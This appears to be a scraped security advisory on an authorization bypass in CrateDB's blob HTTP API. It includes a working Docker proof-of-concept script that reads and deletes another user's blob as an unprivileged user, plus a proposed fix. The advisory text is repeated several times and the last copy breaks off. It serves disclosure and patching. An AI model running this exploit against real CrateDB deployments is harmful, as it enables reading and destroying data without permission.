**Component:** `io.crate.protocols.http.HttpBlobHandler` **Affected:** verified against CrateDB 6.2.7 (latest at time of report; the bug has existed since the blob HTTP handler was introduced) **Impact:** any authenticated user can read or delete any blob whose SHA-1 digest they know, and can plant new blobs unconditionally, in any blob table, regardless of `GRANT`s. --- ## Summary CrateDB has two ways to access blob storage: SQL (`SELECT ... FROM blob.<table>` and friends) and the blob HTTP API (`GET|PUT|DELETE /_blobs/{table}/{digest}`). The SQL path goes through `AccessControl`, which is what enforces privilege grants; that's why `SELECT digest FROM blob.secret_blobs` fails for a user who has no grants on the table. The HTTP path authenticates the request but never asks `AccessControl` whether the authenticated user is allowed to touch the table. So a user with no grants gets `MissingPrivilegeException` from SQL and `200 OK` plus the blob bytes from `GET /_blobs/secret_blobs/<digest>`. ## Where it lives `server/src/main/java/io/crate/protocols/http/HttpBlobHandler.java`. The dispatcher: ```java // HttpBlobHandler.java:176 private void handleBlobRequest(@Nullable HttpContent content) throws IOException { if (possibleRedirect(index, digest)) { return; } if (method.equals(HttpMethod.GET)) { get(index, digest); reset(); } else if (method.equals(HttpMethod.HEAD)) { head(index, digest); } else if (method.equals(HttpMethod.PUT)) { put(content, index, digest); } else if (method.equals(HttpMethod.DELETE)) { delete(index, digest); } else { simpleResponse(HttpResponseStatus.METHOD_NOT_ALLOWED); } } ``` No `AccessControl` reference, no privilege check. Each branch goes straight to the relevant blob op (`get`/`head`/`put`/`delete`); for example: ```java // HttpBlobHandler.java:287 private void get(String index, final String digest) throws IOException { if (range != null) { partialContentResponse(index, digest); } else { fullContentResponse(index, digest); } } ``` `grep -n 'AccessControl\|ensureMaySee\|checkPermission' HttpBlobHandler.java` returns nothing. The APIs that should be called here, used by the SQL path before every statement is dispatched: - `server/src/main/java/io/crate/auth/AccessControl.java` (interface, declares `ensureMayExecute(...)` and `ensureMaySee(...)`) - `server/src/main/java/io/crate/auth/AccessControlImpl.java:133` (concrete impl) ## Threat model Unconditional in code, gated in practice by digest knowledge; CrateDB has no enumeration channel. `HEAD /_blobs/<table>/<digest>` is the existence oracle; candidate digests may come from side channels such as app metadata, logs, known-file probes. | Capability | Needs digest? | Impact | |---|---|---| | Read or delete a blob | yes | High when digests leak, nil otherwise | | Plant new blobs (PUT) | no | Storage pollution; SHA-1 check blocks forging under a victim's digest | Digest secrecy is not a documented security boundary. ## Reproduction End-to-end Docker PoC. Two users, one blob, both ingress paths exercised side by side. `./run.sh` brings up a CrateDB container with HBA enabled, creates an `admin` (with `ALL PRIVILEGES`) and an `unprivileged` user (with no grants), uploads a blob as admin, then runs six steps: 1. Admin uploads a blob via `PUT /_blobs/...`. Success (201). 2. Admin reads via SQL. Success. 3. **Unprivileged user reads via SQL.** Denied (correct, this is what we want). 4. **Unprivileged user reads via `GET /_blobs/...`.** `200 OK` plus the blob payload (the bug). 5. **Unprivileged user deletes via `DELETE /_blobs/...`.** `204 No Content` (the bug, again). 6. Admin re-checks via SQL. Confirms the blob is gone, deleted by a user with zero grants. Sample output from a real run: ``` === Step 3: Unprivileged user CANNOT read via SQL (expected) === [PASS] Unprivileged user correctly denied SQL access [INFO] Server response: ERROR: Schema 'blob' unknown ... === Step 4: BUG -- Unprivileged user CAN read blob via HTTP === [FAIL] Unprivileged user READ the blob via HTTP (HTTP 200) -- AUTHORIZATION BYPASS [INFO] Retrieved content: TOP SECRET: this data should only be accessible to admin === Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE === [FAIL] Unprivileged user DELETED the blob via HTTP (HTTP 204) -- AUTHORIZATION BYPASS ``` ### PoC files <details> <summary><code>docker-compose.yml</code></summary> ```yaml services: cratedb: image: crate:6.2.7 ports: - "4200:4200" - "5432:5432" command: > crate -Cnetwork.host=0.0.0.0 -Cdiscovery.type=single-node -Cauth.host_based.enabled=true -Cauth.host_based.config.0.user=crate -Cauth.host_based.config.0.method=trust -Cauth.host_based.config.99.method=password -Cblobs.path=/data/blobs environment: - CRATE_HEAP_SIZE=512m healthcheck: test: ["CMD-SHELL", "curl -sf http://localhost:4200/ || exit 1"] interval: 5s timeout: 5s retries: 12 ``` HBA rule 0 trusts the built-in `crate` superuser so `setup.sql` can bootstrap users; rule 99 forces password auth for everyone else. `network.host=0.0.0.0` overrides the default `_site_` bind, which fails when Docker's interfaces have no site-local address. </details> <details> <summary><code>setup.sql</code></summary> ```sql -- Create the blob table CREATE BLOB TABLE secret_blobs; -- Create admin user with full access CREATE USER admin WITH (password = 'adminpass'); GRANT ALL PRIVILEGES ON TABLE blob.secret_blobs TO admin; -- Create unprivileged user with NO access to the blob table CREATE USER unprivileged WITH (password = 'unpriv123'); -- Intentionally no GRANT for unprivileged user ``` </details> <details> <summary><code>exploit.sh</code></summary> ```bash #!/usr/bin/env bash set -euo pipefail CRATE_HTTP="http://localhost:4200" BLOB_TABLE="secret_blobs" BLOB_CONTENT="TOP SECRET: this data should only be accessible to admin" RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' CYAN='\033[0;36m' NC='\033[0m' header() { printf "\n${CYAN}=== %s ===${NC}\n" "$1"; } pass() { printf "${GREEN}[PASS]${NC} %s\n" "$1"; } fail() { printf "${RED}[FAIL]${NC} %s\n" "$1"; } info() { printf "${YELLOW}[INFO]${NC} %s\n" "$1"; } sql_as() { local user="$1" pass="$2" query="$3" PGPASSWORD="$pass" psql -h localhost -p 5432 -U "$user" -d doc -tAc "$query" 2>&1 } # --------------------------------------------------------------------------- header "Step 1: Upload a blob as admin via HTTP" # --------------------------------------------------------------------------- DIGEST=$(echo -n "$BLOB_CONTENT" | sha1sum | awk '{print $1}') info "Blob SHA1 digest: $DIGEST" HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \ -u admin:adminpass \ -XPUT "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}" \ -d "$BLOB_CONTENT") if [[ "$HTTP_CODE" == "201" || "$HTTP_CODE" == "409" ]]; then pass "Admin uploaded blob via HTTP (HTTP $HTTP_CODE)" else fail "Admin blob upload returned HTTP $HTTP_CODE" exit 1 fi # --------------------------------------------------------------------------- header "Step 2: Admin CAN read blob metadata via SQL (expected)" # --------------------------------------------------------------------------- RESULT=$(sql_as admin adminpass "SELECT digest FROM blob.secret_blobs LIMIT 1") if [[ -n "$RESULT" ]]; then pass "Admin can query blob.secret_blobs via SQL: digest=$RESULT" else fail "Admin SQL query returned no results" fi # --------------------------------------------------------------------------- header "Step 3: Unprivileged user CANNOT read via SQL (expected)" # --------------------------------------------------------------------------- RESULT=$(sql_as unprivileged unpriv123 "SELECT digest FROM blob.secret_blobs LIMIT 1" || true) if echo "$RESULT" | grep -qi "denied\|permission\|unauthorized\|not authorized"; then pass "Unprivileged user correctly denied SQL access" info "Server response: $(echo "$RESULT" | head -1)" else fail "Unprivileged user was NOT denied SQL access (unexpected): $RESULT" fi # --------------------------------------------------------------------------- header "Step 4: BUG -- Unprivileged user CAN read blob via HTTP" # --------------------------------------------------------------------------- HTTP_CODE=$(curl -s -o /tmp/blob_out -w "%{http_code}" \ -u unprivileged:unpriv123 \ "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}") BODY=$(cat /tmp/blob_out) if [[ "$HTTP_CODE" == "200" ]]; then fail "Unprivileged user READ the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS" info "Retrieved content: ${BODY}" else pass "Unprivileged user was denied HTTP blob read (HTTP $HTTP_CODE)" fi # --------------------------------------------------------------------------- header "Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE" # --------------------------------------------------------------------------- HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \ -u unprivileged:unpriv123 \ -XDELETE "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}") if [[ "$HTTP_CODE" == "204" || "$HTTP_CODE" == "200" ]]; then fail "Unprivileged user DELETED the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS" else pass "Unprivileged user was denied HTTP blob delete (HTTP $HTTP_CODE)" fi # --------------------------------------------------------------------------- header "Step 6: Confirm blob is gone (admin perspective)" # --------------------------------------------------------------------------- RESULT=$(sql_as admin adminpass "SELECT count(*) FROM blob.secret_blobs WHERE digest = '$DIGEST'") if [[ "$RESULT" == "0" ]]; then fail "Blob confirmed deleted -- unprivileged user destroyed admin's data" else info "Blob still exists (count=$RESULT)" fi ``` </details> <details> <summary><code>run.sh</code></summary> ```bash #!/usr/bin/env bash set -euo pipefail cd "$(dirname "$0")" RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' NC='\033[0m' info() { printf "${YELLOW}[INFO]${NC} %s\n" "$1"; } # Pick whichever Compose CLI is available (docker compose v2 vs legacy # docker-compose binary). Both are common in the wild. if docker compose version >/dev/null 2>&1; then DC=(docker compose) elif command -v docker-compose >/dev/null 2>&1; then DC=(docker-compose) else echo "ERROR: neither 'docker compose' (v2) nor 'docker-compose' (v1) is installed." >&2 exit 2 fi cleanup() { info "Stopping containers..." "${DC[@]}" down -v 2>/dev/null || true } trap cleanup EXIT info "Starting CrateDB with authentication enabled..." "${DC[@]}" up -d info "Waiting for CrateDB to become healthy..." for i in $(seq 1 60); do if curl -sf http://localhost:4200/ > /dev/null 2>&1; then break fi sleep 1 done # Verify CrateDB is actually ready for SQL connections for i in $(seq 1 30); do if PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -c "SELECT 1" > /dev/null 2>&1; then break fi sleep 1 done info "Running setup SQL as superuser (crate)..." PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -f setup.sql # Give CrateDB a moment to propagate user/privilege changes sleep 2 info "Running exploit..." echo "" bash exploit.sh ``` </details> ## Fixing Plumb `AccessControl` into `HttpBlobHandler`. Before dispatching the verb at `handleBlobRequest:181`, resolve the connecting role from the channel attribute the auth filter already sets, build an `AccessControlImpl`, and call `ensureHasPrivilege(...)` for the verb. Failures produce `MissingPrivilegeException`, which the existing exception-to-HTTP mapping turns into `403 Forbidden`. SQL and HTTP then share one authorization decision. | HTTP verb | SQL equivalent | Required privilege on `blob.<table>` | |---|---|---| | `GET` / `HEAD` | `SELECT` | `DQL` | | `PUT` | `INSERT` / `UPDATE` | `DML` | | `DELETE` | `DELETE` | `DML` | Alternatives I'd avoid: pushing checks down into `BlobService` (every caller has to remember to pass a role) or wrapping the handler in a separate Netty filter (works but separates the check from the action it gates). ## Notes Deployments that don't use `BLOB TABLE` are unaffected. Authentication itself still works; the bug is strictly that being authenticated as anyone is treated as sufficient for any blob op.
**Component:** `io.crate.protocols.http.HttpBlobHandler` **Affected:** verified against CrateDB 6.2.7 (latest at time of report; the bug has existed since the blob HTTP handler was introduced) **Impact:** any authenticated user can read or delete any blob whose SHA-1 digest they know, and can plant new blobs unconditionally, in any blob table, regardless of `GRANT`s. --- ## Summary CrateDB has two ways to access blob storage: SQL (`SELECT ... FROM blob.<table>` and friends) and the blob HTTP API (`GET|PUT|DELETE /_blobs/{table}/{digest}`). The SQL path goes through `AccessControl`, which is what enforces privilege grants; that's why `SELECT digest FROM blob.secret_blobs` fails for a user who has no grants on the table. The HTTP path authenticates the request but never asks `AccessControl` whether the authenticated user is allowed to touch the table. So a user with no grants gets `MissingPrivilegeException` from SQL and `200 OK` plus the blob bytes from `GET /_blobs/secret_blobs/<digest>`. ## Where it lives `server/src/main/java/io/crate/protocols/http/HttpBlobHandler.java`. The dispatcher: ```java // HttpBlobHandler.java:176 private void handleBlobRequest(@Nullable HttpContent content) throws IOException { if (possibleRedirect(index, digest)) { return; } if (method.equals(HttpMethod.GET)) { get(index, digest); reset(); } else if (method.equals(HttpMethod.HEAD)) { head(index, digest); } else if (method.equals(HttpMethod.PUT)) { put(content, index, digest); } else if (method.equals(HttpMethod.DELETE)) { delete(index, digest); } else { simpleResponse(HttpResponseStatus.METHOD_NOT_ALLOWED); } } ``` No `AccessControl` reference, no privilege check. Each branch goes straight to the relevant blob op (`get`/`head`/`put`/`delete`); for example: ```java // HttpBlobHandler.java:287 private void get(String index, final String digest) throws IOException { if (range != null) { partialContentResponse(index, digest); } else { fullContentResponse(index, digest); } } ``` `grep -n 'AccessControl\|ensureMaySee\|checkPermission' HttpBlobHandler.java` returns nothing. The APIs that should be called here, used by the SQL path before every statement is dispatched: - `server/src/main/java/io/crate/auth/AccessControl.java` (interface, declares `ensureMayExecute(...)` and `ensureMaySee(...)`) - `server/src/main/java/io/crate/auth/AccessControlImpl.java:133` (concrete impl) ## Threat model Unconditional in code, gated in practice by digest knowledge; CrateDB has no enumeration channel. `HEAD /_blobs/<table>/<digest>` is the existence oracle; candidate digests may come from side channels such as app metadata, logs, known-file probes. | Capability | Needs digest? | Impact | |---|---|---| | Read or delete a blob | yes | High when digests leak, nil otherwise | | Plant new blobs (PUT) | no | Storage pollution; SHA-1 check blocks forging under a victim's digest | Digest secrecy is not a documented security boundary. ## Reproduction End-to-end Docker PoC. Two users, one blob, both ingress paths exercised side by side. `./run.sh` brings up a CrateDB container with HBA enabled, creates an `admin` (with `ALL PRIVILEGES`) and an `unprivileged` user (with no grants), uploads a blob as admin, then runs six steps: 1. Admin uploads a blob via `PUT /_blobs/...`. Success (201). 2. Admin reads via SQL. Success. 3. **Unprivileged user reads via SQL.** Denied (correct, this is what we want). 4. **Unprivileged user reads via `GET /_blobs/...`.** `200 OK` plus the blob payload (the bug). 5. **Unprivileged user deletes via `DELETE /_blobs/...`.** `204 No Content` (the bug, again). 6. Admin re-checks via SQL. Confirms the blob is gone, deleted by a user with zero grants. Sample output from a real run: ``` === Step 3: Unprivileged user CANNOT read via SQL (expected) === [PASS] Unprivileged user correctly denied SQL access [INFO] Server response: ERROR: Schema 'blob' unknown ... === Step 4: BUG -- Unprivileged user CAN read blob via HTTP === [FAIL] Unprivileged user READ the blob via HTTP (HTTP 200) -- AUTHORIZATION BYPASS [INFO] Retrieved content: TOP SECRET: this data should only be accessible to admin === Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE === [FAIL] Unprivileged user DELETED the blob via HTTP (HTTP 204) -- AUTHORIZATION BYPASS ``` ### PoC files <details> <summary><code>docker-compose.yml</code></summary> ```yaml services: cratedb: image: crate:6.2.7 ports: - "4200:4200" - "5432:5432" command: > crate -Cnetwork.host=0.0.0.0 -Cdiscovery.type=single-node -Cauth.host_based.enabled=true -Cauth.host_based.config.0.user=crate -Cauth.host_based.config.0.method=trust -Cauth.host_based.config.99.method=password -Cblobs.path=/data/blobs environment: - CRATE_HEAP_SIZE=512m healthcheck: test: ["CMD-SHELL", "curl -sf http://localhost:4200/ || exit 1"] interval: 5s timeout: 5s retries: 12 ``` HBA rule 0 trusts the built-in `crate` superuser so `setup.sql` can bootstrap users; rule 99 forces password auth for everyone else. `network.host=0.0.0.0` overrides the default `_site_` bind, which fails when Docker's interfaces have no site-local address. </details> <details> <summary><code>setup.sql</code></summary> ```sql -- Create the blob table CREATE BLOB TABLE secret_blobs; -- Create admin user with full access CREATE USER admin WITH (password = 'adminpass'); GRANT ALL PRIVILEGES ON TABLE blob.secret_blobs TO admin; -- Create unprivileged user with NO access to the blob table CREATE USER unprivileged WITH (password = 'unpriv123'); -- Intentionally no GRANT for unprivileged user ``` </details> <details> <summary><code>exploit.sh</code></summary> ```bash #!/usr/bin/env bash set -euo pipefail CRATE_HTTP="http://localhost:4200" BLOB_TABLE="secret_blobs" BLOB_CONTENT="TOP SECRET: this data should only be accessible to admin" RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' CYAN='\033[0;36m' NC='\033[0m' header() { printf "\n${CYAN}=== %s ===${NC}\n" "$1"; } pass() { printf "${GREEN}[PASS]${NC} %s\n" "$1"; } fail() { printf "${RED}[FAIL]${NC} %s\n" "$1"; } info() { printf "${YELLOW}[INFO]${NC} %s\n" "$1"; } sql_as() { local user="$1" pass="$2" query="$3" PGPASSWORD="$pass" psql -h localhost -p 5432 -U "$user" -d doc -tAc "$query" 2>&1 } # --------------------------------------------------------------------------- header "Step 1: Upload a blob as admin via HTTP" # --------------------------------------------------------------------------- DIGEST=$(echo -n "$BLOB_CONTENT" | sha1sum | awk '{print $1}') info "Blob SHA1 digest: $DIGEST" HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \ -u admin:adminpass \ -XPUT "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}" \ -d "$BLOB_CONTENT") if [[ "$HTTP_CODE" == "201" || "$HTTP_CODE" == "409" ]]; then pass "Admin uploaded blob via HTTP (HTTP $HTTP_CODE)" else fail "Admin blob upload returned HTTP $HTTP_CODE" exit 1 fi # --------------------------------------------------------------------------- header "Step 2: Admin CAN read blob metadata via SQL (expected)" # --------------------------------------------------------------------------- RESULT=$(sql_as admin adminpass "SELECT digest FROM blob.secret_blobs LIMIT 1") if [[ -n "$RESULT" ]]; then pass "Admin can query blob.secret_blobs via SQL: digest=$RESULT" else fail "Admin SQL query returned no results" fi # --------------------------------------------------------------------------- header "Step 3: Unprivileged user CANNOT read via SQL (expected)" # --------------------------------------------------------------------------- RESULT=$(sql_as unprivileged unpriv123 "SELECT digest FROM blob.secret_blobs LIMIT 1" || true) if echo "$RESULT" | grep -qi "denied\|permission\|unauthorized\|not authorized"; then pass "Unprivileged user correctly denied SQL access" info "Server response: $(echo "$RESULT" | head -1)" else fail "Unprivileged user was NOT denied SQL access (unexpected): $RESULT" fi # --------------------------------------------------------------------------- header "Step 4: BUG -- Unprivileged user CAN read blob via HTTP" # --------------------------------------------------------------------------- HTTP_CODE=$(curl -s -o /tmp/blob_out -w "%{http_code}" \ -u unprivileged:unpriv123 \ "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}") BODY=$(cat /tmp/blob_out) if [[ "$HTTP_CODE" == "200" ]]; then fail "Unprivileged user READ the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS" info "Retrieved content: ${BODY}" else pass "Unprivileged user was denied HTTP blob read (HTTP $HTTP_CODE)" fi # --------------------------------------------------------------------------- header "Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE" # --------------------------------------------------------------------------- HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \ -u unprivileged:unpriv123 \ -XDELETE "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}") if [[ "$HTTP_CODE" == "204" || "$HTTP_CODE" == "200" ]]; then fail "Unprivileged user DELETED the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS" else pass "Unprivileged user was denied HTTP blob delete (HTTP $HTTP_CODE)" fi # --------------------------------------------------------------------------- header "Step 6: Confirm blob is gone (admin perspective)" # --------------------------------------------------------------------------- RESULT=$(sql_as admin adminpass "SELECT count(*) FROM blob.secret_blobs WHERE digest = '$DIGEST'") if [[ "$RESULT" == "0" ]]; then fail "Blob confirmed deleted -- unprivileged user destroyed admin's data" else info "Blob still exists (count=$RESULT)" fi ``` </details> <details> <summary><code>run.sh</code></summary> ```bash #!/usr/bin/env bash set -euo pipefail cd "$(dirname "$0")" RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' NC='\033[0m' info() { printf "${YELLOW}[INFO]${NC} %s\n" "$1"; } # Pick whichever Compose CLI is available (docker compose v2 vs legacy # docker-compose binary). Both are common in the wild. if docker compose version >/dev/null 2>&1; then DC=(docker compose) elif command -v docker-compose >/dev/null 2>&1; then DC=(docker-compose) else echo "ERROR: neither 'docker compose' (v2) nor 'docker-compose' (v1) is installed." >&2 exit 2 fi cleanup() { info "Stopping containers..." "${DC[@]}" down -v 2>/dev/null || true } trap cleanup EXIT info "Starting CrateDB with authentication enabled..." "${DC[@]}" up -d info "Waiting for CrateDB to become healthy..." for i in $(seq 1 60); do if curl -sf http://localhost:4200/ > /dev/null 2>&1; then break fi sleep 1 done # Verify CrateDB is actually ready for SQL connections for i in $(seq 1 30); do if PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -c "SELECT 1" > /dev/null 2>&1; then break fi sleep 1 done info "Running setup SQL as superuser (crate)..." PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -f setup.sql # Give CrateDB a moment to propagate user/privilege changes sleep 2 info "Running exploit..." echo "" bash exploit.sh ``` </details> ## Fixing Plumb `AccessControl` into `HttpBlobHandler`. Before dispatching the verb at `handleBlobRequest:181`, resolve the connecting role from the channel attribute the auth filter already sets, build an `AccessControlImpl`, and call `ensureHasPrivilege(...)` for the verb. Failures produce `MissingPrivilegeException`, which the existing exception-to-HTTP mapping turns into `403 Forbidden`. SQL and HTTP then share one authorization decision. | HTTP verb | SQL equivalent | Required privilege on `blob.<table>` | |---|---|---| | `GET` / `HEAD` | `SELECT` | `DQL` | | `PUT` | `INSERT` / `UPDATE` | `DML` | | `DELETE` | `DELETE` | `DML` | Alternatives I'd avoid: pushing checks down into `BlobService` (every caller has to remember to pass a role) or wrapping the handler in a separate Netty filter (works but separates the check from the action it gates). ## Notes Deployments that don't use `BLOB TABLE` are unaffected. Authentication itself still works; the bug is strictly that being authenticated as anyone is treated as sufficient for any blob op.
Update io.crate:crate to 6.2.8; io.crate:crate to 6.3.2 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanCrateDB's Blob HTTP handler bypasses authorization affects io.crate:crate (maven), io.crate:crate (maven). Severity is low. **Component:** `io.crate.protocols.http.HttpBlobHandler` **Affected:** verified against CrateDB 6.2.7 (latest at time of report; the bug has existed since the blob HTTP handler was introduced) **Impact:** any authenticated user can read or delete any blob whose SHA-1 digest they know, and can plant new blobs unconditionally, in any blob table, regardless of `GRANT`s. --- ## Summary CrateDB has two ways to access blob storage: SQL (`SELECT ... FROM blob.<table>` and friends) and the blob HTTP API (`GET|PUT|DELETE /_blobs/{table}/{digest}`). The SQL path goes through `AccessControl`, which is what enforces privilege grants; that's why `SELECT digest FROM blob.secret_blobs` fails for a user who has no grants on the table. The HTTP path authenticates the request but never asks `AccessControl` whether the authenticated user is allowed to touch the table. So a user with no grants gets `MissingPrivilegeException` from SQL and `200 OK` plus the blob bytes from `GET /_blobs/secret_blobs/<digest>`. ## Where it lives `server/src/main/java/io/crate/protocols/http/HttpBlobHandler.java`. The dispatcher: ```java // HttpBlobHandler.java:176 private void handleBlobRequest(@Nullable HttpContent content) throws IOException { if (possibleRedirect(index, digest)) { return; } if (method.equals(HttpMethod.GET)) { get(index, digest); reset(); } else if (method.equals(HttpMethod.HEAD)) { head(index, digest); } else if (method.equals(HttpMethod.PUT)) { put(content, index, digest); } else if (method.equals(HttpMethod.DELETE)) { delete(index, digest); } else { simpleResponse(HttpResponseStatus.METHOD_NOT_ALLOWED); } } ``` No `AccessControl` reference, no privilege check. Each branch goes straight to the relevant blob op (`get`/`head`/`put`/`delete`); for example: ```java // HttpBlobHandler.java:287 private void get(String index, final String digest) throws IOException { if (range != null) { partialContentResponse(index, digest); } else { fullContentResponse(index, digest); } } ``` `grep -n 'AccessControl\|ensureMaySee\|checkPermission' HttpBlobHandler.java` returns nothing. The APIs that should be called here, used by the SQL path before every statement is dispatched: - `server/src/main/java/io/crate/auth/AccessControl.java` (interface, declares `ensureMayExecute(...)` and `ensureMaySee(...)`) - `server/src/main/java/io/crate/auth/AccessControlImpl.java:133` (concrete impl) ## Threat model Unconditional in code, gated in practice by digest knowledge; CrateDB has no enumeration channel. `HEAD /_blobs/<table>/<digest>` is the existence oracle; candidate digests may come from side channels such as app metadata, logs, known-file probes. | Capability | Needs digest? | Impact | |---|---|---| | Read or delete a blob | yes | High when digests leak, nil otherwise | | Plant new blobs (PUT) | no | Storage pollution; SHA-1 check blocks forging under a victim's digest | Digest secrecy is not a documented security boundary. ## Reproduction End-to-end Docker PoC. Two users, one blob, both ingress paths exercised side by side. `./run.sh` brings up a CrateDB container with HBA enabled, creates an `admin` (with `ALL PRIVILEGES`) and an `unprivileged` user (with no grants), uploads a blob as admin, then runs six steps: 1. Admin uploads a blob via `PUT /_blobs/...`. Success (201). 2. Admin reads via SQL. Success. 3. **Unprivileged user reads via SQL.** Denied (correct, this is what we want). 4. **Unprivileged user reads via `GET /_blobs/...`.** `200 OK` plus the blob payload (the bug). 5. **Unprivileged user deletes via `DELETE /_blobs/...`.** `204 No Content` (the bug, again). 6. Admin re-checks via SQL. Confirms the blob is gone, deleted by a user with zero grants. Sample output from a real run: ``` === Step 3: Unprivileged user CANNOT read via SQL (expected) === [PASS] Unprivileged user correctly denied SQL access [INFO] Server response: ERROR: Schema 'blob' unknown ... === Step 4: BUG -- Unprivileged user CAN read blob via HTTP === [FAIL] Unprivileged user READ the blob via HTTP (HTTP 200) -- AUTHORIZATION BYPASS [INFO] Retrieved content: TOP SECRET: this data should only be accessible to admin === Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE === [FAIL] Unprivileged user DELETED the blob via HTTP (HTTP 204) -- AUTHORIZATION BYPASS ``` ### PoC files <details> <summary><code>docker-compose.yml</code></summary> ```yaml services: cratedb: image: crate:6.2.7 ports: - "4200:4200" - "5432:5432" command: > crate -Cnetwork.host=0.0.0.0 -Cdiscovery.type=single-node -Cauth.host_based.enabled=true -Cauth.host_based.config.0.user=crate -Cauth.host_based.config.0.method=trust -Cauth.host_based.config.99.method=password -Cblobs.path=/data/blobs environment: - CRATE_HEAP_SIZE=512m healthcheck: test: ["CMD-SHELL", "curl -sf http://localhost:4200/ || exit 1"] interval: 5s timeout: 5s retries: 12 ``` HBA rule 0 trusts the built-in `crate` superuser so `setup.sql` can bootstrap users; rule 99 forces password auth for everyone else. `network.host=0.0.0.0` overrides the default `_site_` bind, which fails when Docker's interfaces have no site-local address. </details> <details> <summary><code>setup.sql</code></summary> ```sql -- Create the blob table CREATE BLOB TABLE secret_blobs; -- Create admin user with full access CREATE USER admin WITH (password = 'adminpass'); GRANT ALL PRIVILEGES ON TABLE blob.secret_blobs TO admin; -- Create unprivileged user with NO access to the blob table CREATE USER unprivileged WITH (password = 'unpriv123'); -- Intentionally no GRANT for unprivileged user ``` </details> <details> <summary><code>exploit.sh</code></summary> ```bash #!/usr/bin/env bash set -euo pipefail CRATE_HTTP="http://localhost:4200" BLOB_TABLE="secret_blobs" BLOB_CONTENT="TOP SECRET: this data should only be accessible to admin" RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' CYAN='\033[0;36m' NC='\033[0m' header() { printf "\n${CYAN}=== %s ===${NC}\n" "$1"; } pass() { printf "${GREEN}[PASS]${NC} %s\n" "$1"; } fail() { printf "${RED}[FAIL]${NC} %s\n" "$1"; } info() { printf "${YELLOW}[INFO]${NC} %s\n" "$1"; } sql_as() { local user="$1" pass="$2" query="$3" PGPASSWORD="$pass" psql -h localhost -p 5432 -U "$user" -d doc -tAc "$query" 2>&1 } # --------------------------------------------------------------------------- header "Step 1: Upload a blob as admin via HTTP" # --------------------------------------------------------------------------- DIGEST=$(echo -n "$BLOB_CONTENT" | sha1sum | awk '{print $1}') info "Blob SHA1 digest: $DIGEST" HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \ -u admin:adminpass \ -XPUT "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}" \ -d "$BLOB_CONTENT") if [[ "$HTTP_CODE" == "201" || "$HTTP_CODE" == "409" ]]; then pass "Admin uploaded blob via HTTP (HTTP $HTTP_CODE)" else fail "Admin blob upload returned HTTP $HTTP_CODE" exit 1 fi # --------------------------------------------------------------------------- header "Step 2: Admin CAN read blob metadata via SQL (expected)" # --------------------------------------------------------------------------- RESULT=$(sql_as admin adminpass "SELECT digest FROM blob.secret_blobs LIMIT 1") if [[ -n "$RESULT" ]]; then pass "Admin can query blob.secret_blobs via SQL: digest=$RESULT" else fail "Admin SQL query returned no results" fi # --------------------------------------------------------------------------- header "Step 3: Unprivileged user CANNOT read via SQL (expected)" # --------------------------------------------------------------------------- RESULT=$(sql_as unprivileged unpriv123 "SELECT digest FROM blob.secret_blobs LIMIT 1" || true) if echo "$RESULT" | grep -qi "denied\|permission\|unauthorized\|not authorized"; then pass "Unprivileged user correctly denied SQL access" info "Server response: $(echo "$RESULT" | head -1)" else fail "Unprivileged user was NOT denied SQL access (unexpected): $RESULT" fi # --------------------------------------------------------------------------- header "Step 4: BUG -- Unprivileged user CAN read blob via HTTP" # --------------------------------------------------------------------------- HTTP_CODE=$(curl -s -o /tmp/blob_out -w "%{http_code}" \ -u unprivileged:unpriv123 \ "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}") BODY=$(cat /tmp/blob_out) if [[ "$HTTP_CODE" == "200" ]]; then fail "Unprivileged user READ the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS" info "Retrieved content: ${BODY}" else pass "Unprivileged user was denied HTTP blob read (HTTP $HTTP_CODE)" fi # --------------------------------------------------------------------------- header "Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE" # --------------------------------------------------------------------------- HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \ -u unprivileged:unpriv123 \ -XDELETE "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}") if [[ "$HTTP_CODE" == "204" || "$HTTP_CODE" == "200" ]]; then fail "Unprivileged user DELETED the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS" else pass "Unprivileged user was denied HTTP blob delete (HTTP $HTTP_CODE)" fi # --------------------------------------------------------------------------- header "Step 6: Confirm blob is gone (admin perspective)" # --------------------------------------------------------------------------- RESULT=$(sql_as admin adminpass "SELECT count(*) FROM blob.secret_blobs WHERE digest = '$DIGEST'") if [[ "$RESULT" == "0" ]]; then fail "Blob confirmed deleted -- unprivileged user destroyed admin's data" else info "Blob still exists (count=$RESULT)" fi ``` 